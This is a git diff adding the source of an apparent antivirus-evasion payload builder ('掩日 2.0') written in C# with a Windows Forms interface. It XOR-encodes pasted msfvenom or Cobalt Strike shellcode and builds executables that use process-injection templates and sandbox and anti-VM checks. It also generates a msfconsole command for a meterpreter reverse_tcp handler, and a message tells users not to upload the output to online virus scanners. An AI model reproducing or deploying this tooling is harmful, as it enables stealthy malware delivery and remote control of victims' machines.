+ System.IO.File.WriteAllText(temp_path, finalcode);
+
+ //编译
+ if (C_Compiler(arch, temp_path, path, icon_set))
+ {
+ //System.IO.File.Delete(temp_path);
+ System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
+ return true;
+ } else
+ {
+ System.IO.File.Delete(temp_path);
+ System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o");
+ return false;
+ }
+ }
+
+ //生成 c# 源码并编译
+ public static bool Gen_CS(string shellcode, string path, string execute, string inject, string arch, string detect)
+ {
+ shellcode = Shellcode_Handle(shellcode);
+ shellcode = XOR_C("c#", shellcode);
+ string target_arch = "/platform:x86 /optimize /target:winexe ";
+ if (arch.StartsWith("6"))
+ {
+ target_arch = target_arch.Replace("86", "64");
+ }
+ if (Global.ICONPATH != "")
+ {
+ target_arch += " /win32icon:" + Global.ICONPATH;
+ }
+ string finalcode = "";
+
+ //根据执行方式决定代码模板
+ switch (execute)
+ {
+ case "执行1-GetProcAddress":
+ finalcode = CS_Template.getprocaddress.Replace("{{shellcode}}", shellcode);
+ break;
+ case "执行2-VirtualProtect":
+ finalcode = CS_Template.virtualprotect.Replace("{{shellcode}}", shellcode);
+ break;
+ case "注入现有进程":
+ finalcode = CS_Template.syscall_exist.Replace("{{shellcode}}", shellcode).Replace("{{pid}}", inject);
+ target_arch += " /unsafe";
+ break;
+ case "注入新进程":
+ finalcode = CS_Template.syscall_new.Replace("{{shellcode}}", shellcode).Replace("{{processname}}", inject);
+ target_arch += " /unsafe";
+ break;
+ }
+
+ //虚拟机/沙箱检测
+ switch (detect)
+ {
+ case "沙箱:延时约180秒":
+ finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.super_delay);
+ break;
+ case "虚拟机:简单反虚拟机":
+ finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.vm_detect);
+ break;
+ }
+
+ //代码生成完毕,准备开始编译
+ Compiler compiler = new Compiler();
+ compiler.compileToExe(finalcode, path, target_arch);
+ //System.IO.File.WriteAllText(@"C:\Users\www1y\Desktop\arch.txt", target_arch);
+
+
+ return true;
+ }
+
+ //编译 c
+ public static bool C_Compiler(string arch, string source_path, string save_path, bool res=false)
+ {
+ string arch_cmd = " -m" + arch.Substring(0, 2);
+ string compile_cmd = @"gcc -mwindows -o """ + save_path + @"""" + arch_cmd + @" """ + source_path + @"""";
+ if (res)
+ {
+ compile_cmd += @" C:\\Windows\\Temp\\Yanri_res.o";
+ }
+ //System.IO.File.WriteAllText(@"C:\\Users\\www1y\\Desktop\\cmd1.txt", compile_cmd);
+ if (!Common.Execute_Cmd(compile_cmd).Contains("rror:"))
+ {
+ return true;
+ }
+ return false;
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Form1.Designer.cs" "b/\346\216\251\346\227\2452.0/Form1.Designer.cs"
new file mode 100644
index 0000000..bfebad2
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Form1.Designer.cs"
@@ -0,0 +1,355 @@
+namespace 掩日2._0
+{
+ partial class Form1
+ {
+ ///
+ /// 必需的设计器变量。
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// 清理所有正在使用的资源。
+ ///
+ /// 如果应释放托管资源,为 true;否则为 false。
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows 窗体设计器生成的代码
+
+ ///
+ /// 设计器支持所需的方法 - 不要修改
+ /// 使用代码编辑器修改此方法的内容。
+ ///
+ private void InitializeComponent()
+ {
+ this.components = new System.ComponentModel.Container();
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
+ this.linkLabel1 = new System.Windows.Forms.LinkLabel();
+ this.textBox1 = new System.Windows.Forms.TextBox();
+ this.button1 = new System.Windows.Forms.Button();
+ this.label3 = new System.Windows.Forms.Label();
+ this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);
+ this.comboBox5 = new System.Windows.Forms.ComboBox();
+ this.textBox2 = new System.Windows.Forms.TextBox();
+ this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
+ this.panel1 = new System.Windows.Forms.Panel();
+ this.richTextBox1 = new System.Windows.Forms.RichTextBox();
+ this.label8 = new System.Windows.Forms.Label();
+ this.panel2 = new System.Windows.Forms.Panel();
+ this.radioButton6 = new System.Windows.Forms.RadioButton();
+ this.pictureBox3 = new System.Windows.Forms.PictureBox();
+ this.radioButton3 = new System.Windows.Forms.RadioButton();
+ this.label6 = new System.Windows.Forms.Label();
+ this.label4 = new System.Windows.Forms.Label();
+ this.comboBox2 = new System.Windows.Forms.ComboBox();
+ this.label2 = new System.Windows.Forms.Label();
+ this.comboBox1 = new System.Windows.Forms.ComboBox();
+ this.label1 = new System.Windows.Forms.Label();
+ this.comboBox3 = new System.Windows.Forms.ComboBox();
+ this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
+ this.panel1.SuspendLayout();
+ this.panel2.SuspendLayout();
+ ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit();
+ this.SuspendLayout();
+ //
+ // linkLabel1
+ //
+ this.linkLabel1.AutoSize = true;
+ this.linkLabel1.Font = new System.Drawing.Font("微软雅黑", 8F);
+ this.linkLabel1.LinkColor = System.Drawing.Color.Blue;
+ this.linkLabel1.Location = new System.Drawing.Point(187, 56);
+ this.linkLabel1.Name = "linkLabel1";
+ this.linkLabel1.Size = new System.Drawing.Size(56, 20);
+ this.linkLabel1.TabIndex = 0;
+ this.linkLabel1.TabStop = true;
+ this.linkLabel1.Text = "🔻进阶";
+ this.toolTip1.SetToolTip(this.linkLabel1, "打开进阶选项");
+ this.linkLabel1.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkLabel1_LinkClicked);
+ //
+ // textBox1
+ //
+ this.textBox1.Location = new System.Drawing.Point(23, 13);
+ this.textBox1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
+ this.textBox1.Name = "textBox1";
+ this.textBox1.Size = new System.Drawing.Size(265, 27);
+ this.textBox1.TabIndex = 3;
+ this.textBox1.Text = "127.0.0.1:4444";
+ this.toolTip1.SetToolTip(this.textBox1, "格式为 IP:端口,支持输入多个IP:端口,英文 , 隔开。如果填入多个IP(最多3个),程序在运行时将随机连接一个地址,连接失败会自动重试其他地址");
+ //
+ // button1
+ //
+ this.button1.Font = new System.Drawing.Font("宋体", 9F);
+ this.button1.Location = new System.Drawing.Point(103, 46);
+ this.button1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
+ this.button1.Name = "button1";
+ this.button1.Size = new System.Drawing.Size(84, 26);
+ this.button1.TabIndex = 5;
+ this.button1.Text = "生成";
+ this.button1.UseVisualStyleBackColor = true;
+ this.button1.Click += new System.EventHandler(this.button1_Click);
+ //
+ // label3
+ //
+ this.label3.AutoSize = true;
+ this.label3.Location = new System.Drawing.Point(272, 52);
+ this.label3.Name = "label3";
+ this.label3.Size = new System.Drawing.Size(30, 20);
+ this.label3.TabIndex = 8;
+ this.label3.Text = "🛠";
+ this.toolTip1.SetToolTip(this.label3, "关于");
+ this.label3.Click += new System.EventHandler(this.label3_Click);
+ //
+ // toolTip1
+ //
+ this.toolTip1.AutoPopDelay = 15000;
+ this.toolTip1.InitialDelay = 500;
+ this.toolTip1.ReshowDelay = 100;
+ //
+ // comboBox5
+ //
+ this.comboBox5.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
+ this.comboBox5.Font = new System.Drawing.Font("微软雅黑", 8F);
+ this.comboBox5.FormattingEnabled = true;
+ this.comboBox5.Location = new System.Drawing.Point(102, 134);
+ this.comboBox5.Name = "comboBox5";
+ this.comboBox5.Size = new System.Drawing.Size(185, 27);
+ this.comboBox5.TabIndex = 23;
+ this.toolTip1.SetToolTip(this.comboBox5, "已经自带了简单的反沙箱功能,可以按需再选");
+ //
+ // textBox2
+ //
+ this.textBox2.Location = new System.Drawing.Point(102, 92);
+ this.textBox2.Name = "textBox2";
+ this.textBox2.Size = new System.Drawing.Size(185, 27);
+ this.textBox2.TabIndex = 15;
+ this.textBox2.Text = "notepad.exe";
+ this.toolTip1.SetToolTip(this.textBox2, "注入新进程建议输入 notepad.exe 或 calc.exe 等");
+ //
+ // panel1
+ //
+ this.panel1.Controls.Add(this.richTextBox1);
+ this.panel1.Controls.Add(this.comboBox5);
+ this.panel1.Controls.Add(this.label8);
+ this.panel1.Controls.Add(this.panel2);
+ this.panel1.Controls.Add(this.textBox2);
+ this.panel1.Controls.Add(this.label4);
+ this.panel1.Controls.Add(this.comboBox2);
+ this.panel1.Controls.Add(this.label2);
+ this.panel1.Controls.Add(this.comboBox1);
+ this.panel1.Controls.Add(this.label1);
+ this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
+ this.panel1.Location = new System.Drawing.Point(0, 78);
+ this.panel1.Name = "panel1";
+ this.panel1.Size = new System.Drawing.Size(305, 403);
+ this.panel1.TabIndex = 9;
+ this.panel1.Visible = false;
+ //
+ // richTextBox1
+ //
+ this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
+ this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
+ this.richTextBox1.ForeColor = System.Drawing.Color.Gray;
+ this.richTextBox1.Location = new System.Drawing.Point(0, 232);
+ this.richTextBox1.Name = "richTextBox1";
+ this.richTextBox1.Size = new System.Drawing.Size(305, 171);
+ this.richTextBox1.TabIndex = 10;
+ this.richTextBox1.Text = "粘贴msfvenom或CobaltStrike生成的shellcode到此, shellcode必须为 c 或 c# 格式";
+ this.richTextBox1.Click += new System.EventHandler(this.richTextBox1_Click);
+ this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged);
+ //
+ // label8
+ //
+ this.label8.AutoSize = true;
+ this.label8.Location = new System.Drawing.Point(11, 138);
+ this.label8.Name = "label8";
+ this.label8.Size = new System.Drawing.Size(105, 20);
+ this.label8.TabIndex = 22;
+ this.label8.Text = "虚拟机/沙箱:";
+ //
+ // panel2
+ //
+ this.panel2.Controls.Add(this.radioButton6);
+ this.panel2.Controls.Add(this.pictureBox3);
+ this.panel2.Controls.Add(this.radioButton3);
+ this.panel2.Controls.Add(this.label6);
+ this.panel2.Location = new System.Drawing.Point(2, 172);
+ this.panel2.Name = "panel2";
+ this.panel2.Size = new System.Drawing.Size(301, 62);
+ this.panel2.TabIndex = 19;
+ //
+ // radioButton6
+ //
+ this.radioButton6.AutoSize = true;
+ this.radioButton6.Location = new System.Drawing.Point(166, 30);
+ this.radioButton6.Name = "radioButton6";
+ this.radioButton6.Size = new System.Drawing.Size(75, 24);
+ this.radioButton6.TabIndex = 28;
+ this.radioButton6.Text = "自定义";
+ this.radioButton6.UseVisualStyleBackColor = true;
+ this.radioButton6.CheckedChanged += new System.EventHandler(this.radioButton6_CheckedChanged);
+ //
+ // pictureBox3
+ //
+ this.pictureBox3.Location = new System.Drawing.Point(250, 19);
+ this.pictureBox3.Name = "pictureBox3";
+ this.pictureBox3.Size = new System.Drawing.Size(35, 35);
+ this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
+ this.pictureBox3.TabIndex = 27;
+ this.pictureBox3.TabStop = false;
+ //
+ // radioButton3
+ //
+ this.radioButton3.AutoSize = true;
+ this.radioButton3.Checked = true;
+ this.radioButton3.Location = new System.Drawing.Point(100, 30);
+ this.radioButton3.Name = "radioButton3";
+ this.radioButton3.Size = new System.Drawing.Size(45, 24);
+ this.radioButton3.TabIndex = 21;
+ this.radioButton3.TabStop = true;
+ this.radioButton3.Text = "无";
+ this.radioButton3.UseVisualStyleBackColor = true;
+ this.radioButton3.CheckedChanged += new System.EventHandler(this.radioButton3_CheckedChanged);
+ //
+ // label6
+ //
+ this.label6.AutoSize = true;
+ this.label6.Location = new System.Drawing.Point(9, 1);
+ this.label6.Name = "label6";
+ this.label6.Size = new System.Drawing.Size(84, 20);
+ this.label6.TabIndex = 20;
+ this.label6.Text = "设置图标:";
+ //
+ // label4
+ //
+ this.label4.AutoSize = true;
+ this.label4.Location = new System.Drawing.Point(11, 96);
+ this.label4.Name = "label4";
+ this.label4.Size = new System.Drawing.Size(99, 20);
+ this.label4.TabIndex = 14;
+ this.label4.Text = "注入进程名:";
+ //
+ // comboBox2
+ //
+ this.comboBox2.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
+ this.comboBox2.Font = new System.Drawing.Font("微软雅黑", 8F);
+ this.comboBox2.FormattingEnabled = true;
+ this.comboBox2.Location = new System.Drawing.Point(101, 53);
+ this.comboBox2.Name = "comboBox2";
+ this.comboBox2.Size = new System.Drawing.Size(185, 27);
+ this.comboBox2.TabIndex = 13;
+ this.comboBox2.SelectedIndexChanged += new System.EventHandler(this.comboBox2_SelectedIndexChanged);
+ //
+ // label2
+ //
+ this.label2.AutoSize = true;
+ this.label2.Location = new System.Drawing.Point(11, 56);
+ this.label2.Name = "label2";
+ this.label2.Size = new System.Drawing.Size(84, 20);
+ this.label2.TabIndex = 12;
+ this.label2.Text = "执行方式:";
+ //
+ // comboBox1
+ //
+ this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
+ this.comboBox1.Font = new System.Drawing.Font("微软雅黑", 8F);
+ this.comboBox1.FormattingEnabled = true;
+ this.comboBox1.Items.AddRange(new object[] {
+ "C",
+ "C#"});
+ this.comboBox1.Location = new System.Drawing.Point(102, 8);
+ this.comboBox1.Name = "comboBox1";
+ this.comboBox1.Size = new System.Drawing.Size(185, 27);
+ this.comboBox1.TabIndex = 11;
+ this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged);
+ //
+ // label1
+ //
+ this.label1.AutoSize = true;
+ this.label1.Location = new System.Drawing.Point(11, 15);
+ this.label1.Name = "label1";
+ this.label1.Size = new System.Drawing.Size(84, 20);
+ this.label1.TabIndex = 10;
+ this.label1.Text = "编译语言:";
+ //
+ // comboBox3
+ //
+ this.comboBox3.BackColor = System.Drawing.SystemColors.Window;
+ this.comboBox3.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
+ this.comboBox3.Font = new System.Drawing.Font("微软雅黑", 8F);
+ this.comboBox3.ForeColor = System.Drawing.Color.Black;
+ this.comboBox3.FormattingEnabled = true;
+ this.comboBox3.Items.AddRange(new object[] {
+ "32位",
+ "64位"});
+ this.comboBox3.Location = new System.Drawing.Point(23, 48);
+ this.comboBox3.Name = "comboBox3";
+ this.comboBox3.Size = new System.Drawing.Size(48, 27);
+ this.comboBox3.TabIndex = 17;
+ this.comboBox3.SelectedIndexChanged += new System.EventHandler(this.comboBox3_SelectedIndexChanged);
+ //
+ // openFileDialog1
+ //
+ this.openFileDialog1.FileName = "openFileDialog1";
+ //
+ // Form1
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(305, 481);
+ this.Controls.Add(this.panel1);
+ this.Controls.Add(this.label3);
+ this.Controls.Add(this.button1);
+ this.Controls.Add(this.textBox1);
+ this.Controls.Add(this.linkLabel1);
+ this.Controls.Add(this.comboBox3);
+ this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
+ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
+ this.MaximizeBox = false;
+ this.Name = "Form1";
+ this.Text = "掩日 2.0 - 1y0n.com";
+ this.panel1.ResumeLayout(false);
+ this.panel1.PerformLayout();
+ this.panel2.ResumeLayout(false);
+ this.panel2.PerformLayout();
+ ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit();
+ this.ResumeLayout(false);
+ this.PerformLayout();
+
+ }
+
+ #endregion
+
+ private System.Windows.Forms.LinkLabel linkLabel1;
+ private System.Windows.Forms.TextBox textBox1;
+ private System.Windows.Forms.Button button1;
+ private System.Windows.Forms.Label label3;
+ private System.Windows.Forms.ToolTip toolTip1;
+ private System.Windows.Forms.SaveFileDialog saveFileDialog1;
+ private System.Windows.Forms.Panel panel1;
+ private System.Windows.Forms.TextBox textBox2;
+ private System.Windows.Forms.Label label4;
+ private System.Windows.Forms.ComboBox comboBox2;
+ private System.Windows.Forms.Label label2;
+ private System.Windows.Forms.ComboBox comboBox1;
+ private System.Windows.Forms.Label label1;
+ private System.Windows.Forms.Panel panel2;
+ private System.Windows.Forms.RadioButton radioButton6;
+ private System.Windows.Forms.PictureBox pictureBox3;
+ private System.Windows.Forms.RadioButton radioButton3;
+ private System.Windows.Forms.Label label6;
+ private System.Windows.Forms.ComboBox comboBox5;
+ private System.Windows.Forms.Label label8;
+ private System.Windows.Forms.RichTextBox richTextBox1;
+ private System.Windows.Forms.ComboBox comboBox3;
+ private System.Windows.Forms.OpenFileDialog openFileDialog1;
+ }
+}
+
diff --git "a/\346\216\251\346\227\2452.0/Form1.cs" "b/\346\216\251\346\227\2452.0/Form1.cs"
new file mode 100644
index 0000000..e22efb3
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Form1.cs"
@@ -0,0 +1,275 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Windows.Forms;
+
+namespace 掩日2._0
+{
+ public partial class Form1 : Form
+ {
+ //全局变量
+ public bool MODE = true; // true for easy mode which is default, false for custom mode
+ public bool ENV = true; //true for GCC installed
+
+ public Form1()
+ {
+ InitializeComponent();
+ this.Height = 110;
+ bool env = false;
+ comboBox1.SelectedIndex = 0;
+ comboBox3.SelectedIndex = 0;
+ comboBox5.Items.AddRange(Global.VM_Sandbox);
+ comboBox5.SelectedIndex = 0;
+ //判断是否已安装GCC
+ if (!Common.Execute_Cmd("gcc --version").Contains("tdm64"))
+ {
+ DialogResult result = MessageBox.Show("缺少必要的执行环境(tdm-gcc),点击确定将启动兼容模式,兼容模式下,多数功能无法使用。点击取消打开使用说明界面", "警告", MessageBoxButtons.OKCancel, MessageBoxIcon.Exclamation);
+ if (result == DialogResult.OK)
+ {
+ this.Text = "掩日 2.0 - 兼容 - 1y0n.com";
+ ENV = false; // 没有安装GCC
+ MODE = false; //环境不全的情况下,极简模式不能用
+ linkLabel1.Text = "";
+ panel1.Height = 410;
+ panel1.Visible = true;
+ this.Height = 519;
+ textBox1.Enabled = false;
+ comboBox1.Items.Clear();
+ comboBox1.Items.Add("C#");
+ comboBox1.SelectedIndex = 0;
+ linkLabel1.Enabled = false;
+ textBox1.Text = "兼容模式下不可用";
+ textBox1.Enabled = false;
+ }
+ else
+ {
+ System.Diagnostics.Process.Start("https://github.com/1y0n/AV_Evasion_Tool/");
+ System.Environment.Exit(-1);
+ }
+ }
+ }
+
+ private void label3_Click(object sender, EventArgs e)
+ {
+ AboutBox1 ab = new AboutBox1();
+ ab.Show();
+ }
+
+ private void button1_Click(object sender, EventArgs e)
+ {
+ if (MODE) //极简模式
+ {
+ if (textBox1.Text.Contains(":"))
+ {
+ string ip = textBox1.Text.Split(':')[0];
+ string port = textBox1.Text.Split(':')[1];
+ saveFileDialog1.Filter = "可执行文件|*.exe";
+ if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != ""))
+ {
+ string savepath = saveFileDialog1.FileName;
+ if (Core.Generate_1_IP(comboBox3.Text, ip, port, savepath))
+ {
+ if (MessageBox.Show("生成成功,是否复制 metasploit 启动命令到剪贴板?", "成功", MessageBoxButtons.YesNo) == DialogResult.Yes)
+ {
+ string msf_cmd = @"msfconsole -x ""use exploit/multi/handler; set payload windows/{{arch}}meterpreter/reverse_tcp; set lhost {{ip}}; set lport {{port}}; run; """;
+ string temp = comboBox3.Text.StartsWith("64") ? "x64/" : "";
+ msf_cmd = msf_cmd.Replace("{{arch}}", temp).Replace("{{ip}}", ip).Replace("{{port}}", port);
+ Clipboard.SetText(msf_cmd);
+ }
+ }
+ else
+ {
+ MessageBox.Show("生成失败,请检查你的输入。");
+ }
+ }
+ else
+ {
+ MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。");
+ return;
+ }
+ }
+ else
+ {
+ MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。");
+ return;
+ }
+ }
+ else
+ {
+ if (comboBox2.Text.Contains("注入"))
+ {
+ if (textBox2.Text.Trim() == "")
+ {
+ MessageBox.Show("漏填了必填项,请检查", "提示");
+ return;
+ }
+ if (comboBox2.Text.Contains("现有"))
+ {
+ try
+ {
+ int temp = int.Parse(textBox2.Text);
+ }
+ catch
+ {
+ MessageBox.Show("注入现有进程时必须填写数字PID号", "提示");
+ return;
+ }
+ }
+ }
+ saveFileDialog1.Filter = "可执行文件|*.exe";
+ if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "") && (richTextBox1.Text.Trim() != ""))
+ {
+ bool result = false;
+ if (comboBox1.Text == "C")
+ {
+ result = Core.Gen_C(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text);
+ }
+ else if (comboBox1.Text == "C#")
+ {
+ result = Core.Gen_CS(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text);
+ }
+ if (result)
+ {
+ MessageBox.Show("生成成功!不要将生成的程序上传到在线杀毒网站", "成功");
+ return;
+ }
+ else
+ {
+ MessageBox.Show("生成失败!请检查你的输入", "失败");
+ return;
+ }
+ }
+ else
+ {
+ return;
+ }
+ }
+ }
+
+ public void SwitchMode()
+ {
+ if (MODE) // 当前是极简模式,准备切换到进阶模式
+ {
+ MODE = false;
+ linkLabel1.Text = "🔺极简";
+ panel1.Height = 410;
+ panel1.Visible = true;
+ this.Height = 519;
+ textBox1.Enabled = false;
+ }
+ else //切换到极简模式
+ {
+ MODE = true;
+ linkLabel1.Text = "🔻进阶";
+ panel1.Visible = false;
+ this.Height = 110;
+ textBox1.Enabled = true;
+ }
+ }
+
+ private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
+ {
+ SwitchMode();
+ }
+
+ private void richTextBox1_TextChanged(object sender, EventArgs e)
+ {
+ richTextBox1.ForeColor = Color.Black;
+ }
+
+ private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
+ {
+ if (comboBox1.Text == "C")
+ {
+ comboBox2.Items.Clear();
+ comboBox2.Items.AddRange(Global.C_Execute);
+ comboBox2.SelectedIndex = 0;
+ }
+ else if (comboBox1.Text == "C#")
+ {
+ comboBox2.Items.Clear();
+ if (comboBox3.Text.StartsWith("32"))
+ {
+ comboBox2.Items.AddRange(Global.CS_Execute_x86);
+ }
+ else
+ {
+ comboBox2.Items.AddRange(Global.CS_Execute_x64);
+ }
+ comboBox2.SelectedIndex = 0;
+ }
+ }
+
+ private void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
+ {
+ if (comboBox2.Text.Contains("注入新进程"))
+ {
+ textBox2.Enabled = true;
+ label4.Text = "注入进程名:";
+ textBox2.Text = "notepad.exe";
+ }
+ else if (comboBox2.Text.Contains("注入现有进程"))
+ {
+ textBox2.Enabled = true;
+ label4.Text = "进程PID:";
+ textBox2.Clear();
+ }
+ else
+ {
+ textBox2.Enabled = false;
+ }
+ }
+
+ private void radioButton6_CheckedChanged(object sender, EventArgs e)
+ {
+ if (!radioButton6.Checked)
+ {
+ return;
+ }
+ MessageBox.Show("图标路径不要包含中文,否则无法生成", "提示");
+ openFileDialog1.Filter = "图标文件|*.ico";
+ if ((openFileDialog1.ShowDialog() == DialogResult.OK) && (openFileDialog1.FileName != ""))
+ {
+ pictureBox3.ImageLocation = Global.ICONPATH = openFileDialog1.FileName;
+ }
+ else
+ {
+ radioButton3.Checked = true;
+ }
+ }
+
+ private void comboBox3_SelectedIndexChanged(object sender, EventArgs e)
+ {
+ if (comboBox1.Text == "C#")
+ {
+ comboBox2.Items.Clear();
+ if (comboBox3.Text.StartsWith("32"))
+ {
+ comboBox2.Items.AddRange(Global.CS_Execute_x86);
+ }
+ else
+ {
+ comboBox2.Items.AddRange(Global.CS_Execute_x64);
+ }
+ comboBox2.SelectedIndex = 0;
+ }
+ }
+
+ private void richTextBox1_Click(object sender, EventArgs e)
+ {
+ if (richTextBox1.Text.Contains("msfvenom"))
+ {
+ richTextBox1.Clear();
+ }
+ }
+
+ private void radioButton3_CheckedChanged(object sender, EventArgs e)
+ {
+ Global.ICONPATH = "";
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Form1.resx" "b/\346\216\251\346\227\2452.0/Form1.resx"
new file mode 100644
index 0000000..e870c46
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Form1.resx"
@@ -0,0 +1,1262 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ 17, 17
+
+
+ 135, 17
+
+
+ 307, 17
+
+
+
+
+ AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
